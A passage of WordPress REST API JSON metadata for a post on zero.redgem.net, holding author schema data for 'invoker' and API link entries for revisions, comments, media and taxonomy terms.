redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62313","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=62313"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62313\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=62313"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=62313"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=62313"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}